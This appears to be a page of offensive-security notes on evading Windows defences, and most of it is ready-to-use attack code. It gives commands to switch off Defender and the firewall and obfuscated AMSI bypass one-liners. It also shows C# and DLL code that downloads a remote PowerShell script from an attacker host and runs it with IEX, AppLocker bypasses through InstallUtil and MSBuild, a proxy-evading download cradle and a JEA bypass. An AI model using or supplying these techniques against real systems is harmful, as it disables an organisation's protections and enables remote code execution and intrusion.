Countermeasure Evasion

This section contains several techniques to bypass or defeat security controls, safeguards, or defensive mechanisms put in place by an organization to protect its systems and data.

Disable AV & Firewall

# Alternative 1
Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true

# Alternative 2
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All


Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False

Antimalware Scan Interface (AMSI)

The Antimalware Scan Interface (AMSI) is a security feature in Windows operating systems that provides a standardized interface for antivirus and other security applications to integrate with scripting engines and applications.

To disable AMSI on PowerShell you can execute any of the following alternatives.

# Alternative 1
S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

# Alternative 2
(([Ref].Assembly.gettypes() | ? {$_.Name -like "Amsi*utils"}).GetFields("NonPublic,Static") | ? {$_.Name -like "amsiInit*ailed"}).SetValue($null,$true)

Constrained Language Enabled (CLM)

Constrained Language Mode is a security feature designed to restrict the capabilities of PowerShell scripts, making them more secure and less prone to exploitation. When Constrained Language Mode is enabled, PowerShell restricts the use of certain language elements and cmdlets to help prevent potential malicious activities.

There are several alternatives to obtain a PowerShell process with a new RunSpace.

Alternative 1 - Metasploit

⚠ī¸If powershell_shell dies, it is quite likely that the whole meterpreter reverse shell will die.

meterpreter> load powershell
meterpreter> powershell_shell

Alternative 2 - Csharp

// Console APP (.NET Framework)
using System;
// right-click the References folder in the Solution Explorer and select Add Reference
// Click on Assemblies menu (left-hand side) and look for System.Configuration.Install
using System.Configuration.Install;
// right-click the References folder in the Solution Explorer and select Add Reference
// select the Browseâ€Ļ button at the bottom of the window and navigate to
// C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll
using System.Management.Automation;
using System.Management.Automation.Runspaces;
namespace Bypass
{
    class Program
    {
        static void Main(string[] args)
        {
            String cmd = "(New-Object System.Net.WebClient).DownloadString('http://<YOUR_IP>/shell.ps1') | IEX";
            Runspace rs = RunspaceFactory.CreateRunspace();
            rs.Open();
            PowerShell ps = PowerShell.Create();
            ps.Runspace = rs;
            ps.AddScript(cmd);
            ps.Invoke();
            rs.Close();
        }
    }
}

AppLocker

There are several ways to bypass AppLocker.

Allowed store directories

ℹī¸ ​ The directories where we have write access doesn't mean that with AppLocker enable we can execute them.

C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing

Alternative 1 - InstallUtil

  1. Compile the following CSharp code in Visual Studio as clm.exe.

// Console APP (.NET Framework)
using System;
// right-click the References folder in the Solution Explorer and select Add Reference
// Click on Assemblies menu (left-hand side) and look for System.Configuration.Install
using System.Configuration.Install;
// right-click the References folder in the Solution Explorer and select Add Reference
// select the Browseâ€Ļ button at the bottom of the window and navigate to
// C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll
using System.Management.Automation;
using System.Management.Automation.Runspaces;
namespace Bypass
{
    class Program
    {
        static void Main(string[] args)
        {
            // the Main method is not part of the application whitelisting, it can be used for other puposes, like bypassing AVs
            Console.WriteLine("Totatlly useless");
        }
    }

    [System.ComponentModel.RunInstaller(true)]
    public class Sample : System.Configuration.Install.Installer
    {
        public override void Uninstall(System.Collections.IDictionary savedState)
        {
            <YOUR_MALICIOUS_CHSARP_CODE>
        }
    }
}
  1. Use installutil.exe to execute clm.exe so the Uninstall method is executed.

C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=false /U C:\\Windows\\Tasks\\clm.exe

Alternative 2 - MSBuild

  1. Create the file build.xml.

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Hello">
   <FragmentExample />
   <ClassExample />
  </Target>
  <UsingTask
    TaskName="FragmentExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <ParameterGroup/>
    <Task>
      <Using Namespace="System" />
      <Using Namespace="System.IO" />
      <Code Type="Fragment" Language="cs">
        <![CDATA[
                Console.WriteLine("Hello From Fragment");
        ]]>
      </Code>
    </Task>
    </UsingTask>
    <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <Task>
      <Reference Include="System.Management.Automation" />
      <Code Type="Class" Language="cs">
        <![CDATA[
            <YOUR_MALICIOUS_CHSARP_CODE>         
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>
  1. Build and execute the malicious payload.

C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\msbuild.exe  C:\\Windows\\Tasks\\build.xml

Alternative 3 - DLL Bypass

PowerShell - CLM

  1. Create the file met.dll.

//#include "pch.h"
#include <windows.h>

// Reference:
// https://docs.microsoft.com/en-us/windows/win32/dlls/dllmain
// https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-entry-point-function
// https://www.cybereason.com/blog/rundll32-the-infamous-proxy-for-executing-malicious-code

BOOL APIENTRY DllMain(
    HMODULE hModule, // handle to DLL module (same as HINSTANCE)
    DWORD fdwReason, // reason for calling function
    LPVOID lpReserved // reserved
) {

    STARTUPINFOA si = {
      sizeof(STARTUPINFOA)
    };
    PROCESS_INFORMATION pi;
    LPCSTR appCalc = "C:\\Windows\\System32\\calc.exe";

    // Perform actions based on the reason for calling
    switch (fdwReason) {

    case DLL_PROCESS_ATTACH:

        // A process loads the DLL (initialize once for each new process)
        // Return FALSE to fail DLL load

        // Start a "calc.exe" child process 
//        if (!CreateProcessA(appCalc, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
//            MessageBox(NULL, TEXT("CreateProcessA() failed\n") + GetLastError(), TEXT("Error"), MB_OK | MB_ICONINFORMATION);
//            return FALSE;
//        }

//        MessageBox(NULL, TEXT("Hello, DLL is attached"), TEXT("Hi!"), MB_OK | MB_ICONINFORMATION);
        return TRUE;

    case DLL_THREAD_ATTACH:
        // Do thread-specific initialization
        break;

    case DLL_THREAD_DETACH:
        // Thread exits normally
        // Do thread-specific cleanup
        break;

    case DLL_PROCESS_DETACH:
        // A process unloads the DLL
        // Perform any necessary cleanup
        break;

    }
    return TRUE; // Successful DLL_PROCESS_ATTACH
}

// Export function
//extern "C"
__declspec(dllexport) void psh() {

 //   MessageBox(NULL, TEXT("Hello from a DLL exported function"), TEXT("Hi!"), MB_OK | MB_ICONINFORMATION);

    STARTUPINFOA si = {
      sizeof(STARTUPINFOA)
    };
    PROCESS_INFORMATION pi;
    LPCSTR appCmd = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass -w hidden -nop -c IEX(new-object system.net.webclient).downloadstring('http://10.10.10.4/run.txt')";

    // Start a "cmd.exe" child process 
//    if (!CreateProcessA(appCmd, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
    if (!CreateProcessA(NULL, appCmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
        MessageBox(NULL, TEXT("CreateProcessA() failed\n") + GetLastError(), TEXT("Error"), MB_OK | MB_ICONINFORMATION);
    }

}
  1. Compile the DLL.

kali@kali:$ x86_64-w64-mingw32-gcc metpsh.c -shared -o metpsh.dll
  1. Execute the DLL.

C:\Windows\Tasks> rundll32 testdll3.dll,psh

Powershell Proxy Evasion

Proxy servers are commonly employed in networks to monitor and control internet traffic, and they may inspect and filter PowerShell-related activities. Attackers, however, may employ various evasion techniques to circumvent these security measures.

$wc = new-object system.net.WebClient; $wc.proxy = $null; $wc.DownloadString("http:/<YOUR_IP>/shell.ps1")

Other cradles:

Just Enough Administration (JEA)

Just Enough Administration (JEA) is a security feature in Windows Server that allows administrators to delegate specific administrative tasks to users, limiting their permissions to only what is necessary for those tasks. JEA helps organizations enhance security by reducing the risk associated with providing broad administrative access.

A simple JEA bypass is by creating a new function and calling it.

function CommandName { whoami | out-host }

Last updated